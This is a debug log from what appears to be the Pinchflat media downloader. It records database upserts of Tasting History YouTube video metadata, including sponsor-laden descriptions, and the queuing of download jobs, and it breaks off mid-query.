("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - \u00A0\u00A0\u00A0•\u00A0From\u00A0Guerrilla\u00A0Fighter\u00A0to\u00A0U.S.\u00A0Citizen:\u00A0Ma...\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "World War 2 Mincemeat Pie for the Battle of the Bulge", "a97b7e38-4641-4afc-b45e-427087f18a37", "g3IAXRkyl1s", "https://www.youtube.com/watch?v=g3IAXRkyl1s", false, false, 16, "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].NA", false, false, 3, [], 98, ~U[2025-12-16 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - \u00A0\u00A0\u00A0•\u00A0From\u00A0Guerrilla\u00A0Fighter\u00A0to\u00A0U.S.\u00A0Citizen:\u00A0Ma...\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "World War 2 Mincemeat Pie for the Battle of the Bulge", "g3IAXRkyl1s", "https://www.youtube.com/watch?v=g3IAXRkyl1s", nil, false, "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].NA", false, 3, ~U[2025-12-16 00:00:00Z]] 02:51:23.596 [debug] QUERY OK source="sources" db=0.2ms idle=13.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.597 [debug] QUERY OK source="media_items" db=1.2ms idle=12.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-09 00:00:00Z], 3] 02:51:23.599 [debug] QUERY OK source="media_items" db=1.1ms idle=13.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/tit...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/...\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "a40e931f-98bc-4ab6-9164-f9da5bbeac14", "MgswDy8PMAA", "https://www.youtube.com/watch?v=MgswDy8PMAA", false, false, 17, "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].NA", false, false, 3, [], 98, ~U[2025-12-09 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/tit...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/...\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "MgswDy8PMAA", "https://www.youtube.com/watch?v=MgswDy8PMAA", nil, false, "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].NA", false, 3, ~U[2025-12-09 00:00:00Z]] 02:51:23.599 [debug] QUERY OK source="sources" db=0.2ms idle=13.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.601 [debug] QUERY OK source="media_items" db=1.2ms idle=4.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 00:00:00Z], 3] 02:51:23.602 [debug] QUERY OK source="media_items" db=0.9ms idle=5.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxM...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Real English Toffee from 1881", "aedba315-2bd6-4fcf-a0fd-934399c7302b", "7Z8MvxYovpk", "https://www.youtube.com/watch?v=7Z8MvxYovpk", false, false, 18, "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].NA", false, false, 3, [], 98, ~U[2025-12-05 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxM...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Real English Toffee from 1881", "7Z8MvxYovpk", "https://www.youtube.com/watch?v=7Z8MvxYovpk", nil, false, "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].NA", false, 3, ~U[2025-12-05 00:00:00Z]] 02:51:23.602 [debug] QUERY OK source="sources" db=0.2ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.604 [debug] QUERY OK source="media_items" db=1.1ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-02 00:00:00Z], 3] 02:51:23.605 [debug] QUERY OK source="media_items" db=0.9ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Gingerbread for Washington's Army", "5420e94d-f5ae-4013-9ec9-35a4086c5f03", "vuoThloIEhs", "https://www.youtube.com/watch?v=vuoThloIEhs", false, false, 19, "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].NA", false, false, 3, [], 98, ~U[2025-12-02 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Gingerbread for Washington's Army", "vuoThloIEhs", "https://www.youtube.com/watch?v=vuoThloIEhs", nil, false, "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].NA", false, 3, ~U[2025-12-02 00:00:00Z]] 02:51:23.605 [debug] QUERY OK source="sources" db=0.2ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:23.607 [debug] QUERY OK source="media_items" db=1.1ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-28 00:00:00Z], 3] 02:51:23.608 [debug] QUERY OK source="media_items" db=0.8ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Signed Copies of the Tasting History Cookbook - https://www.tastinghistory.com/cookbook\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n#tastinghistory #christmas", "Mulled Wine from 1845 & A Christmas Cooking Marathon", "c57e8fe5-4845-4144-944b-1b3cc8fad9e8", "6aKvdoUEVzY", "https://www.youtube.com/watch?v=6aKvdoUEVzY", false, false, 20, "/downloads/Tasting History with Max Miller/2025-11-28 Mulled Wine from 1845 & A Christmas Cooking Marathon/Mulled Wine from 1845 & A Christmas Cooking Marathon [6aKvdoUEVzY].NA", false, false, 3, [], 98, ~U[2025-11-28 00:00:00Z], ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], "Signed Copies of the Tasting History Cookbook - https://www.tastinghistory.com/cookbook\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n#tastinghistory #christmas", "Mulled Wine from 1845 & A Christmas Cooking Marathon", "6aKvdoUEVzY", "https://www.youtube.com/watch?v=6aKvdoUEVzY", nil, false, "/downloads/Tasting History with Max Miller/2025-11-28 Mulled Wine from 1845 & A Christmas Cooking Marathon/Mulled Wine from 1845 & A Christmas Cooking Marathon [6aKvdoUEVzY].NA", false, 3, ~U[2025-11-28 00:00:00Z]] 02:51:23.608 [debug] QUERY OK source="sources" db=0.1ms idle=4.4ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z], 3] 02:51:23.610 [debug] QUERY OK source="media_items" db=1.3ms idle=3.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:51:23.611 [debug] QUERY OK source="tasks" db=0.2ms idle=3.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1697, 11535, ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z]] 02:51:23.613 [debug] QUERY OK source="tasks" db=0.2ms idle=1.9ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1698, 12040, ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z]] 02:51:23.614 [debug] QUERY OK source="tasks" db=0.1ms idle=1.7ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1699, 12546, ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z]] 02:51:23.616 [debug] QUERY OK source="media_items" db=1.3ms idle=1.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:51:23.616 [debug] QUERY OK source="media_items" db=0.1ms idle=2.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 02:51:23.617 [debug] QUERY OK source="tasks" db=0.2ms idle=2.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1700, 3, ~U[2026-03-29 06:51:23Z], ~U[2026-03-29 06:51:23Z]] 02:51:23.618 [info] {"args":{"id":3},"id":1682,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":16905708,"event":"job:stop","queue_time":76030,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 02:51:23.618 [info] {"args":{"id":11535},"id":1697,"meta":{},"system_time":1774767083618751812,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:23.619 [info] {"args":{"id":12040},"id":1698,"meta":{},"system_time":1774767083618802135,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:23.619 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 02:51:23.619 [debug] QUERY OK source="media_items" db=0.2ms idle=1.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 02:51:23.619 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:51:23.619 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:51:23.620 [debug] QUERY OK source="sources" db=0.4ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", 